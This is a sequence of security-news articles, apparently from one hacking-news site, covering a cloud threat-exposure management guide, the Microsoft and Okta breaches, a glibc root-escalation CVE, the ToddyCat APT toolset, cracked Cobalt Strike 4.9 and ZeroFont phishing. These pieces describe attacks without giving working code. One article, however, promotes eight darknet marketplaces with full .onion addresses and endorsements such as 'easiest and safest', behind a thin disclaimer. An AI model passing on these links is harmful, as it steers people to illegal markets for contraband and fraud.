• CloudFormation Templates: Use AWS CloudFormation to enforce infrastructure configurations that meet your security standards. Quickly redeploy configurations if deviations are detected.
• Amazon EventBridge and AWS Lambda: Automate responses to security findings. For example, if Security Hub detects a critical vulnerability, EventBridge can trigger a Lambda function to isolate affected instances or apply necessary patches.

5. Continuous Improvement

• AWS Well-Architected Tool: Regularly review your workloads against AWS best practices to identify areas for improvement.
• Feedback Loop: Implement a feedback loop using AWS CloudWatch Logs and Amazon Elasticsearch Service to analyze logs and metrics for security insights, which can inform the continuous improvement of your CTEM processes.

Implementing CTEM in AWS: An Example Scenario

Imagine you’re managing a web application hosted on AWS. Here’s how CTEM comes to life:

• Identification: Use AWS Config and Resource Groups to maintain an updated inventory of your EC2 instances, RDS databases, and S3 buckets critical to your application.
• Assessment: Employ Amazon Inspector to regularly scan your EC2 instances for vulnerabilities and AWS Security Hub to assess your overall security posture across services.
• Prioritization: Security Hub alerts you to a critical vulnerability in an EC2 instance running your application backend. It’s flagged as high priority due to its access to sensitive data.
• Mitigation and Remediation: You automatically trigger a Lambda function through EventBridge based on the Security Hub finding, which isolates the affected EC2 instance and initiates a patching process via Systems Manager Patch Manager.
• Continuous Improvement: Post-incident, you use the AWS Well-Architected Tool to evaluate your architecture. Insights gained lead to the implementation of stricter IAM policies and enhanced monitoring with CloudWatch and Elasticsearch for anomaly detection.

This cycle of identifying, assessing, prioritizing, mitigating, and continuously improving forms the core of CTEM in AWS, helping to ensure that your cloud environment remains secure against evolving threats.

CTEM in AZURE

Implementing Continuous Threat Exposure Management (CTEM) in Azure involves utilizing a range of Azure services and features designed to continuously identify, assess, prioritize, and mitigate security risks. Below is a step-by-step example illustrating how an organization can apply CTEM principles within the Azure cloud environment:

Step 1: Asset Identification and Management

• Azure Resource Graph: Use Azure Resource Graph to query and visualize all resources across your Azure environment. This is crucial for understanding what assets you have, their configurations, and their interrelationships.
• Azure Tags: Implement tagging strategies to categorize resources based on sensitivity, department, or environment. This aids in the prioritization process later on.

Step 2: Continuous Vulnerability Assessment

• Azure Security Center: Enable Azure Security Center (ASC) at the Standard tier to conduct continuous security assessments across your Azure resources. ASC provides security recommendations and assesses your resources for vulnerabilities and misconfigurations.
• Azure Defender: Integrated into Azure Security Center, Azure Defender provides advanced threat protection for workloads running in Azure, including virtual machines, databases, and containers.

Step 3: Prioritization of Risks

• ASC Secure Score: Use the Secure Score in Azure Security Center as a metric to prioritize security recommendations based on their potential impact on your environment’s security posture.
• Custom Logic with Azure Logic Apps: Develop custom workflows using Azure Logic Apps to prioritize alerts based on your organization’s specific criteria, such as asset sensitivity or compliance requirements.

Step 4: Automated Remediation

• Azure Automation: Employ Azure Automation to run remediation scripts or configurations management across your Azure VMs and services. This can be used to automatically apply patches, update configurations, or manage access controls in response to identified vulnerabilities.
• Azure Logic Apps: Trigger automated workflows in response to security alerts. For example, if Azure Security Center identifies an unprotected data storage, an Azure Logic App can automatically initiate a workflow to apply the necessary encryption settings.

Step 5: Continuous Monitoring and Incident Response

• Azure Monitor: Utilize Azure Monitor to collect, analyze, and act on telemetry data from your Azure resources. This includes logs, metrics, and alerts that can help you detect and respond to threats in real-time.
• Azure Sentinel: Deploy Azure Sentinel, a cloud-native SIEM service, for a more comprehensive security information and event management solution. Sentinel can collect data across all users, devices, applications, and infrastructure, both on-premises and in multiple clouds.

Step 6: Continuous Improvement and Compliance

• Azure Policy: Implement Azure Policy to enforce organizational standards and to assess compliance at scale. Continuous evaluation of your configurations against these policies ensures compliance and guides ongoing improvement.
• Feedback Loops: Establish feedback loops using the insights gained from Azure Monitor, Azure Security Center, and Azure Sentinel to refine and improve your security posture continuously.

Example Scenario: Securing a Web Application in Azure

Let’s say you’re managing a web application hosted in Azure, utilizing Azure App Service for the web front end, Azure SQL Database for data storage, and Azure Blob Storage for unstructured data.

• Identification: You catalog all resources related to the web application using Azure Resource Graph and apply tags based on sensitivity and function.
• Assessment: Azure Security Center continuously assesses these resources for vulnerabilities, such as misconfigurations or outdated software.
• Prioritization: Based on the Secure Score and custom logic in Azure Logic Apps, you prioritize a detected SQL injection vulnerability in Azure SQL Database as critical.
• Mitigation: Azure Automation is triggered to isolate the affected database and apply a patch. Concurrently, Azure Logic Apps notifies the security team and logs the incident for review.
• Monitoring: Azure Monitor and Azure Sentinel provide ongoing surveillance, detecting any unusual access patterns or potential breaches.
• Improvement: Insights from the incident lead to a review and enhancement of the application’s code and a reinforcement of security policies through Azure Policy to prevent similar vulnerabilities in the future.

By following these steps and utilizing Azure’s comprehensive suite of security tools, organizations can implement an effective CTEM strategy that continuously protects against evolving cyber threats.

Implementing CTEM in cloud environments like AWS and Azure

Implementing Continuous Threat Exposure Management (CTEM) in cloud environments like AWS and Azure involves a series of strategic steps, leveraging each platform’s unique tools and services. The approach combines best practices for security and compliance management, automation, and continuous monitoring. Here’s a guide to get started with CTEM in both AWS and Azure:

Common Steps for Both AWS and Azure

1. Understand Your Environment
   • Catalogue your cloud resources and services.
   • Understand the data flow and dependencies between your cloud assets.
2. Define Your Security Policies and Objectives
   • Establish what your security baseline looks like.
   • Define key compliance requirements and security objectives.
3. Integrate Continuous Monitoring Tools
   • Leverage cloud-native tools for threat detection, vulnerability assessment, and compliance monitoring.
   • Integrate third-party security tools if necessary for enhanced capabilities.
4. Automate Security Responses
   • Implement automated responses to common threats and vulnerabilities.
   • Use cloud services to automate patch management and configuration adjustments.
5. Continuously Assess and Refine
   • Regularly review security policies and controls.
   • Adjust based on new threats, technological advancements, and changes in the business environment.

Implementing CTEM in AWS

1. Enable AWS Security Services
   • Utilize AWS Security Hub for a comprehensive view of your security state and to centralize and prioritize security alerts.
   • Use Amazon Inspector for automated security assessments to help find vulnerabilities or deviations from best practices.
   • Implement AWS Config to continuously monitor and record AWS resource configurations.
2. Automate Response with AWS Lambda
   • Use AWS Lambda to automate responses to security findings, such as isolating compromised instances or automatically patching vulnerabilities.
3. Leverage Amazon CloudWatch
   • Employ CloudWatch for monitoring and alerting based on specific metrics or logs that indicate potential security threats.

Implementing CTEM in Azure

1. Utilize Azure Security Tools
   • Activate Azure Security Center for continuous assessment and security recommendations. Use its advanced threat protection features to detect and mitigate threats.
   • Implement Azure Sentinel for SIEM (Security Information and Event Management) capabilities, integrating it with other Azure services for a comprehensive security analysis and threat detection.
2. Automate with Azure Logic Apps
   • Use Azure Logic Apps to automate responses to security alerts, such as sending notifications or triggering remediation processes.
3. Monitor with Azure Monitor
   • Leverage Azure Monitor to collect, analyze, and act on telemetry data from your Azure and on-premises environments, helping you detect and respond to threats in real-time.

Best Practices for Both Environments

• Continuous Compliance: Use policy-as-code to enforce and automate compliance standards across your cloud environments.
• Identity and Access Management (IAM): Implement strict IAM policies to ensure least privilege access and utilize multi-factor authentication (MFA) for enhanced security.
• Encrypt Data: Ensure data at rest and in transit is encrypted using the cloud providers’ encryption capabilities.
• Educate Your Team: Regularly train your team on the latest cloud security best practices and the specific tools and services you are using.

Implementing CTEM in AWS and Azure requires a deep understanding of each cloud environment’s unique features and capabilities. By leveraging the right mix of tools and services, organizations can create a robust security posture that continuously identifies, assesses, and mitigates threats.

The post Hack-Proof Your Cloud: The Step-by-Step Continuous Threat Exposure Management CTEM Strategy for AWS & AZURE appeared first on Information Security Newspaper | Hacking News.

Russian state-backed hackers executed a more extensive and serious intrusion into Microsoft’s systems than was previously known. The breach, first disclosed in January, saw the hackers gaining access to some of Microsoft’s core software systems. Microsoft revealed that the hackers had used information stolen from the company’s corporate email systems to access source code repositories and internal systems. The access to source code is particularly alarming because it represents the foundational elements of software programs, making it a prime target for espionage and follow-on attacks.

The hacking group responsible for this breach has a notorious history of conducting intelligence-gathering campaigns in support of the Kremlin. This group was also behind the infamous breach of several US agency email systems through software made by US contractor SolarWinds, revealed in 2020. The hackers had months-long access to the unclassified email accounts at the departments of Homeland Security and Justice, among other agencies, before the operation was discovered. US officials have attributed this group to Russia’s foreign intelligence service, which Russia has denied involvement with.

Russian hackers’ group known as “Midnight Blizzard.” This state-sponsored group has been implicated in the breach, accessing Microsoft’s source code and internal systems. The involvement of “Midnight Blizzard” suggests a high level of sophistication and the backing of Russian intelligence services, aligning with the broader context of cyber espionage by nation-states.

Stolen Source Code and Customer Secrets

The breach’s impact extends beyond Microsoft’s internal systems to include the theft of source code and potentially sensitive customer information. Access to source code could allow hackers to identify vulnerabilities for future attacks, while the theft of customer secrets raises significant concerns about privacy and security for Microsoft’s clients. The hackers are actively exploiting the stolen information, which could involve launching targeted attacks based on the vulnerabilities discovered in the source code or leveraging stolen customer information for espionage or other malicious purposes. This ongoing exploitation underscores the critical need for rapid response and mitigation efforts by Microsoft and affected stakeholders.

Microsoft’s Findings and Response

Microsoft has stated that, to date, there is no evidence that Microsoft-hosted customer-facing systems have been compromised. The company believes the hackers may be using the stolen information to map out areas for future attacks and enhance their capabilities. This ongoing situation underscores the sophistication of the hackers and the challenges faced by even the most technologically advanced companies in securing their systems against state-sponsored cyber espionage.

Implications for Cybersecurity

This incident has profound implications for cybersecurity, highlighting the sophisticated capabilities of state-sponsored actors and the ongoing threats they pose. It raises critical questions about the effectiveness of existing security measures and the challenges of safeguarding intellectual property and sensitive information. Microsoft’s struggle to fully secure its systems post-breach underscores the need for advanced cybersecurity strategies and continuous vigilance.

The breach fits into the larger narrative of cyber warfare and espionage, where nation-states leverage cyber capabilities to gain strategic advantages, steal intellectual property, and influence global affairs. This incident underscores the importance of international cooperation and the development of norms and agreements to mitigate cyber threats.

The post Source Code Gone Missing: Microsoft Baffled by Stealthy Hack appeared first on Information Security Newspaper | Hacking News.

• Vulnerability in GNU C Library (glibc): The GNU C Library, commonly known as glibc, is an essential part of Linux distributions. It provides the core libraries for the system, including those used for file handling, mathematical computations, and system calls.
• Root Access Granted: The flaw discovered in glibc allows attackers to gain full root access to Linux machines. Root access means having complete control over the system, enabling an attacker to perform any action, including installing software, accessing all files, and modifying system configurations.

CVE ID: CVE-2023-6246

• Description: This vulnerability is related to a dynamic memory buffer overflow and is classified as a Local Privilege Escalation (LPE) issue. It was found in glibc’s __vsyslog_internal() function, which is called by the widely-used syslog and vsyslog functions.
• Impact: The flaw allows unprivileged attackers to gain root access on various major Linux distributions in their default configurations. This level of access can enable attackers to take complete control over the affected system.
• Severity: Given its potential for granting root access, this vulnerability is considered highly severe.

How the Flaw Works

• Local Privilege Escalation: The vulnerability is a local privilege escalation (LPE) issue. This means that an attacker who already has access to the system (even with limited privileges) can exploit this flaw to gain root-level access.
• Exploitation Requirements: To exploit this flaw, attackers need a Set-User-ID (SUID) binary. SUID is a special type of file permission that allows users to execute a program with the permissions of the file owner, which in many cases is the root user.

Impact and Severity

• Widespread Impact: Given the ubiquitous use of glibc in Linux distributions, the impact of this vulnerability is widespread, affecting a vast number of systems and applications.
• High Severity: The flaw is considered high severity due to its potential to grant attackers complete control over the affected systems.

Mitigation and Response

• Disabling SUID Binaries: One suggested mitigation is to disable SUID binaries using “no new privileges” mode, which can be implemented with tools like systemd or bwrap.
• Patch and Update: Users and administrators are urged to apply patches and updates provided by their Linux distribution as soon as they become available. Staying updated is crucial in preventing the exploitation of this vulnerability.

The discovery of the glibc flaw that grants root access to major Linux distributions is a stark reminder of the importance of system security and the need for constant vigilance. Users and administrators must take immediate action to mitigate the risk by applying patches and employing security best practices. As Linux continues to be a backbone for many systems and networks, ensuring its security is paramount for the integrity of countless applications and services.

The post Hacking Debian, Ubuntu, Redhat& Fedora servers using a single vulnerability in 2024 appeared first on Information Security Newspaper | Hacking News.

Our data shows interesting findings on behavior in darknet marketplaces. It shows how dark web  shopping is linked to cryptocurrency. With this info, we suggest steps cryptocurrency businesses  can take to avoid problems related to darknet market activity, like learning how to access darknet  safely. 

Disclaimer: The information provided herein is intended solely for educational purposes. It is not to be used or interpreted as an encouragement or endorsement for engaging in any illegal activities,  including but not limited to accessing darknet marketplaces or participating in dark web shopping.  The objective is to enlighten readers on the subject matter and promote a better understanding of  the digital realm’s potential risks and challenges. Any misuse or illegal activities carried out based  on this information is strictly at the individual’s own risk and responsibility. 

Nemesis Market 

Nemesis Market is a hybrid of a forum and a darknet market accepting Bitcoin and Monero, with a  3-year uptime. 

Link: http://nemesis55gdxo6emcigofp26nmjokadvmvsbnauloweoa47v2aap2ead.onion 

Cypher Market  

Cypher Market is a new walletless darknet market on the Tor Network that opened March 2020.  Cypher Market features escrow and finalize early along with accepting Bitcoin and Monero. 

Link: http://6c5qa4pybtkfni7hbk4fyzdjdbzv7ll22grwuln5sh7u2fxp5ty324qd.onion

MGM Grand Market 

MGM Grand Market is a very sleek, secure and feature rich market. MGM Grand features BTC as a payment method and all the standard features like PGP encryption, 2-FA + escrow. 

Link: http://duysanj6lge7vfis24r4zkqrvq6tq4xknajk2wdrne2wgx5hpr5c3tqd.onion 

Incognito Market 

Since 2021, Incognito market has been one of the easiest and safest darknet marketplaces. Reliable,  no-hassle, fast market. 

Link: http://inco3jv3zuudwv2xunslkjq57iicosepewhku2woxfhxltreojtmo4yd.onion

Ares Market 

Security, Speed, Safety, and Anonymity. 

Link: http://ares2vsjkc4p3vuvm65etbikyclqkzhstx4nypq2kiqei246ktt3uiqd.onion  

City Market

Fast market providing best deals. 

Link: http://wsptl3z7h2ul4da6rihyb4pwpu4ykcj5fc6cxutkkam72whkbt5i5byd.onion 

Bohemia Market 

Bohemia is a cutting-edge marketplace designed to take a more modern approach of the traditional  dark-net market.  

Link: http://bohemdulnoma7x4x445e7sdsv6lcfxbl3fcwl2r2te5xe73zk5tvhrqd.onion  

Flugsvamp 4.0 

Biggest Swedish market. BTC and Monero. 

Link: http://fs4isvbujof355wj3hhsqahpvmwwjaq3s4mac4yrufrl26pxbzqjvzid.onion 

The post Top 8 Darknet Marketplaces: Trends of Darkweb Ecosystem  appeared first on Information Security Newspaper | Hacking News.

1. Nature of the Breach

• Okta’s support system was compromised in a security breach. Hackers were able to break into its support case management system and steal sensitive data. This data could potentially be used to impersonate valid users.

2. Detection and Notification

• BeyondTrust, a cybersecurity firm, detected an identity-centric attack on an in-house Okta administrator account. They notified Okta of the breach on October 2, 2023.

3. Affected Parties

• BeyondTrust was identified as one of the customers affected by this breach. The breach had an internal impact on Okta, affecting its security leadership and other operational aspects.

4. Method of Attack

• The attackers breached Okta’s support system using stolen credentials. This allowed them unauthorized access to sensitive customer data and internal resources.

5. Market Impact

• Following the news of the cyber breach, Okta’s shares experienced a significant slump. This reflects the market’s reaction to the security incident and its potential implications .

6. Official Statements

• Okta’s security leadership has confirmed the breach, acknowledging the compromise of their internal systems and the impact on their customers.

The fallout from the breach saw a slump in Okta’s shares and an approximate 1% of Okta’s customers being affected, although Okta did not disclose the exact number of affected customers. This incident also casts a spotlight on Okta’s security measures, especially coming after a similar breach in 2022 where hackers managed to steal some of Okta’s source code and gained access to the company’s internal network.

Below is a summary of known breaches:

1. Lapsus$ Incident (January 2022): In January 2022, Okta suffered a breach when a hacking group known as Lapsus$ infiltrated its third-party support provider, Sitel. Okta faced criticism for not disclosing the breach promptly​.
2. Source Code Theft: In an undisclosed timeline, Okta confirmed a major security incident where a hacker accessed its source code following a breach of its GitHub repositories​​.
3. January 2022 Data Breach: A separate incident in late January 2022 was confirmed by Okta CEO Todd McKinnon, where some customer data might have been exposed. The exact details of this breach were not provided​.
4. October 20, 2023 Breach: Hackers gained unauthorized access to Okta’s support case management system and stole sensitive data that could be used to impersonate valid users on October 20, 2023​.
5. Lapsus$ Incident (Undisclosed Date): In a different encounter with Lapsus$, hundreds of Okta customers were possibly affected by a security breach, and Okta faced backlash for its slow response to the incident​.

These incidents reflect the challenges even established identity management providers face in ensuring the security and privacy of their systems and customer data.

The breach is a stark reminder of the sophisticated threats that modern enterprises face, and the critical importance of robust cybersecurity measures to safeguard sensitive data and systems from unauthorized access. The breach at Okta underscores the vulnerabilities that even identity services providers face in the realm of cybersecurity. The incident has led to the compromise of sensitive data, affecting both Okta and its customers, and has had noticeable market repercussions.

The post From Trusted to Busted: Okta Hacked again. Epic tale of security nightmares, 4 times in 2 years appeared first on Information Security Newspaper | Hacking News.

ToddyCat, an Advanced Persistent Threat (APT) group, has garnered attention for its clandestine cyber-espionage operations, utilizing a sophisticated toolset designed for data theft and exfiltration. The group employs a myriad of techniques to move laterally within networks and conduct espionage operations with a high degree of secrecy and efficiency. This article, incorporating insights from the article and other sources, aims to provide a detailed overview of ToddyCat’s toolset and operational tactics.

Stealth and Sophistication: ToddyCat’s Modus Operandi

ToddyCat employs disposable malware, ensuring no clear code overlaps with known toolsets, thereby enhancing its ability to remain undetected. The malware is designed to steal and exfiltrate data, while the group employs various techniques to move laterally within networks and conduct espionage operations.

Exploitation Techniques and Malware Utilization

• Disposable Malware: Utilized to enhance stealth and evasion capabilities.
• Data Exfiltration: Malware designed to access and extract sensitive information.
• Lateral Movement: Techniques employed to expand reach and access within compromised environments.

Toolset Summary

1. Dropbox Exfiltrator: A tool designed to exfiltrate data, ensuring that stolen information can be securely and covertly transferred to the attackers.
2. LoFiSe: A tool that may be utilized for lateral movement and further exploitation within compromised networks.
3. Pcexter: A tool that may be used to send specific files or data to external servers, facilitating data exfiltration.
4. Dropper: A tool that may be utilized to deploy additional payloads or malware within compromised environments.

Detailed Insights into the Toolset

1. Loaders

• Standard Loaders: ToddyCat utilizes 64-bit libraries, invoked by rundll32.exe or side-loaded with legitimate executable files, to load the Ninja Trojan during the infection phase. Three variants of these loaders have been observed, each differing in aspects like the library loaded by, where the malicious code resides, the loaded file, and the next stage.
• Tailored Loader: A variant of the standard loader, this is customized for specific systems, employing a unique decryption scheme and storing encrypted files in a different location and filename (%CommonApplicationData%\Local\user.key).

2. Ninja Trojan

The Ninja Trojan, a sophisticated malware written in C++, is a potent tool in ToddyCat’s arsenal. It provides functionalities like:

• Managing running processes
• File system management
• Managing multiple reverse shell sessions
• Injecting code into arbitrary processes
• Loading additional modules during runtime
• Proxy functionality to forward TCP packets between the C2 and a remote host

3. LoFiSe

LoFiSe is a component designed to find and collect files of interest on targeted systems. It tracks changes in the file system, filtering files based on size, location, and extension, and collects suitable files for further action.

4. DropBox Uploader

This generic uploader, not exclusive to ToddyCat, is used to exfiltrate stolen documents to DropBox, accepting a DropBox user access token as an argument and uploading files with specific extensions.

5. Pcexter

Pcexter is another uploader used to exfiltrate archive files to Microsoft OneDrive. It is distributed as a DLL file and executed using the DLL side-loading technique.

Potential Impact and Threat Landscape

The emergence of ToddyCat’s new toolset and its sophisticated TTPs presents a significant threat to organizations, with potential impacts including data breaches, unauthorized access to sensitive information, and network compromise.

Mitigation and Defense Strategies

• Enhanced Monitoring: Implementing monitoring solutions to detect anomalous activities.
• User Education: Ensuring users are educated about potential threats and cybersecurity best practices.
• Regular Patching: Keeping all systems regularly patched and updated.
• Threat Intelligence: Leveraging intelligence to stay abreast of the latest TTPs employed by threat actors.

ToddyCat’s advanced toolset and stealthy operations underscore the evolving and sophisticated nature of cyber threats. Organizations and cybersecurity practitioners must remain vigilant and adopt advanced cybersecurity practices to defend against the sophisticated tools and tactics employed by threat actors like ToddyCat.

The post Guardians of the Hackers Galaxy: Unlock the tool of ToddyCat’s Group appeared first on Information Security Newspaper | Hacking News.

Cobalt Strike, a legitimate commercial penetration testing tool, has inadvertently become a favored instrument among cybercriminals for its efficacy in infiltrating network security. Initially released in 2012 by Fortra (formerly known as Help Systems), Cobalt Strike was designed to aid red teams in identifying vulnerabilities within organizational infrastructures. Despite stringent customer screening and licensing for lawful use only, malicious actors have successfully obtained and distributed cracked versions of the software, making it a prevalent tool in cyberattacks involving data theft and ransomware.

Cobalt Strike 4.9 is now available. This release sees an overhaul to Cobalt Strike’s post exploitation capabilities to support user defined reflective loaders (UDRLs), the ability to export Beacon without a reflective loader which adds official support for prepend-style UDRLs, support for callbacks in a number of built-in functions, a new in-Beacon data store and more.  

Cobalt Strike 4.9 Features

The latest release, version 4.9, introduces several significant features and improvements:

• User-Defined Reflective Loaders (UDRLs): This feature enhances post-exploitation capabilities by allowing users to define and use their reflective loaders, providing more flexibility and control over the loading process of the Beacon payload.
• Export Beacon Without a Loader: Users can now export the Beacon payload without a reflective loader, which officially supports prepend-style UDRLs, allowing for more versatile deployment and execution of the Beacon payload in various environments.
• Callback Support: Version 4.9 introduces support for callbacks, enabling users to implement and handle custom callback routines effectively.
• Beacon User Data Structures Improvement: These structures have been improved to prevent crashes and provide more stability during operations. They also allow a Reflective Loader to resolve and pass system call information to Beacon, overriding Beacon’s default system call resolver.
• Host Profile Support for HTTP(S) Listeners: This feature addresses limitations in HTTP(S) processing by introducing a new Malleable C2 profile group named http-host-profiles.
• WinHTTP Support: The update adds support for the WinHTTP library to the Beacon’s HTTP(S) listener.
• Beacon Data Store: This feature allows users to store Buffer Overflow Frameworks (BOFs) and .NET assemblies in a structured manner.

Cracked Versions in the Wild

Google researchers have recently identified 34 different cracked versions of the Cobalt Strike hacking toolkit actively being used in the wild. These cracked versions are exploited by cybercriminals for various malicious activities, emphasizing the tool’s popularity and widespread illicit use in the cybercriminal community. The discovery of cracked version 4.9 of Cobalt Strike highlights the significant challenges and risks associated with the illicit use of this powerful toolkit.

The Crackdown

Microsoft, in collaboration with Fortra and the Health Information Sharing and Analysis Center (Health-ISAC), has initiated a widespread legal crackdown on servers hosting these cracked copies. This concerted effort aims to dismantle the malicious infrastructure and disrupt the operations of threat actors utilizing Cobalt Strike for nefarious purposes.

Why Cobalt Strike?

Cobalt Strike has gained notoriety among cybercriminals for its post-exploitation capabilities. Once the beacons are deployed, these provide persistent remote access to compromised devices, allowing for sensitive data harvesting or the dropping of additional malicious payloads.

The Users

Cobalt Strike’s cracked versions are used by unidentified criminal groups, state-backed threat actors, and hacking groups acting on behalf of foreign governments. These actors have been linked to numerous ransomware attacks impacting various industries, causing significant financial and operational damage.

Remediation Efforts

To counteract the malicious use of Cobalt Strike, various entities have provided resources to assist network defenders in identifying Cobalt Strike components within their networks. These resources include open-sourced YARA rules and a collection of indicators of compromise (IOCs).

The illicit use of Cobalt Strike poses a significant threat to global cybersecurity. The ongoing crackdown led by Microsoft, Fortra, and Health-ISAC represents a crucial step towards mitigating the risks associated with Cobalt Strike, underscoring the importance of collaborative efforts in the fight against cybercrime.

The post Unmasking Cracked Cobalt Strike 4.9: The Cybercriminal’s Tool of Choice appeared first on Information Security Newspaper | Hacking News.

Jan Kopriva, an analyst at the SANS Internet Storm Center, encountered a phishing email that cleverly employed text written in zero-pixel size font. This technique, originally documented by Avanan (a subsidiary of Check Point) researchers in 2018 and known as ZeroFont Phishing, was being utilized in a distinct and innovative manner, according to Kopriva’s observations. Historically, cyber attackers have integrated zero font size text within phishing emails to disrupt the continuity of text that is visible, making it increasingly difficult for automated email scanning systems like those implemented by Outlook to flag suspicious emails.

However, Kopriva noticed a variation in the use of the ZeroFont technique, which diverged from its original purpose. Instead of utilizing it to obstruct automated scanning systems from labeling the email as potentially harmful or fraudulent, it was applied to craft an illusion of trustworthiness for the recipient. Kopriva elaborated that the technique was being used to modify the text that is usually displayed in Outlook’s listing pane—a section adjacent to the body of emails that provides users with a sneak peek into the email content.

Rather than presenting the typical email subject line followed by the initial few lines of the email—which could potentially raise red flags about a phishing attempt—the listing pane under this technique displayed the subject line and an additional line of text. This added text falsely indicated that the email had undergone a security scan and was deemed safe by a threat protection service.

Avanan researchers have also discovered another manipulation of this technique, dubbed the “One Font” technique. In these instances, threat actors embed extremely small text within the zero- or one-point font range as part of their strategy to develop more elusive and sophisticated phishing scams. This minuscule font size effectively dismantles email scanning techniques relying on semantic analysis, generating confusion for the scanning systems while remaining undetectable to the recipients due to its unreadable size.

In the specific phishing email Kopriva analyzed, the attackers ingeniously incorporated text that implied the email had been verified and secured. This was achieved by inserting text in zero font size ahead of the email’s actual content. As a result, in Outlook’s listing pane, the user would see text confirming the email’s security status immediately below the subject line—instead of the true opening line of the phishing email. This deceptive approach takes advantage of Outlook’s method of displaying email text, thus exploiting it to the attacker’s benefit.

Kopriva acknowledged the possibility that this tactic has been deployed undetected for a while now. Nonetheless, it represents an additional tool in the arsenal of cyber threat actors, enhancing their ability to launch effective phishing campaigns. As defenders against cyber threats, awareness of this tactic is crucial. He recommends that organizations actively engaged in conducting security awareness training focused on phishing should incorporate information on this technique. This knowledge would empower employees to recognize and appropriately respond to deceptive emails employing this technique as an anti-detection strategy, thus fortifying organizational defenses against such cyber threats.

The post Send phishing emails with content font size: 0px can to hack into Microsoft Outlook 365 accounts appeared first on Information Security Newspaper | Hacking News.